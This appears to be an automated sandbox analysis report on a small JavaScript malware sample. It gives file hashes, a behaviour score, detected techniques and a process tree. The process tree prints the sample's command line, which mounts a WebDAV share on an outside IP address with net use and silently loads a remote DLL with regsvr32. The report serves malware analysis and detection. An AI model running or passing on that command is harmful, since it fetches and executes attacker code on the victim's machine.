Analysis
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max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
22/07/2024, 10:28
Static task
static1
Behavioral task
behavioral1
Sample
402265642128923995.js
Resource
win7-20240708-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
402265642128923995.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
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Target
402265642128923995.js
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Size
6KB
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MD5
21c8888dc85b583d2697a9a0784baf86
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SHA1
de2a29c0b7c61a46316ba06a4a75f7389f781495
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SHA256
dc56e65eac3aaf8e5429e43df424985c498b3c36d17b742860090052f627ae41
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SHA512
9ad98ceedd08ca49e1c7afe8d74610587e2efb8f3ed4adad249e02f30675842129e2044d65a2f5a79fddb1c279d71d3f41684e59f9fc6ea93a46a90a43e0e2d7
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SSDEEP
48:7BD8tZnfSGBYs/3bBUY/UML6crzBMfubJBsGN/sSLJisrzi6crzBMfu6cUs7u7qm:7fS46ZZZbgAkYZZZbgkJ
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2488 wrote to memory of 2928 2488 wscript.exe 30 PID 2488 wrote to memory of 2928 2488 wscript.exe 30 PID 2488 wrote to memory of 2928 2488 wscript.exe 30 PID 2928 wrote to memory of 2984 2928 cmd.exe 32 PID 2928 wrote to memory of 2984 2928 cmd.exe 32 PID 2928 wrote to memory of 2984 2928 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\402265642128923995.js1⤵
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\30060225165942.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2984
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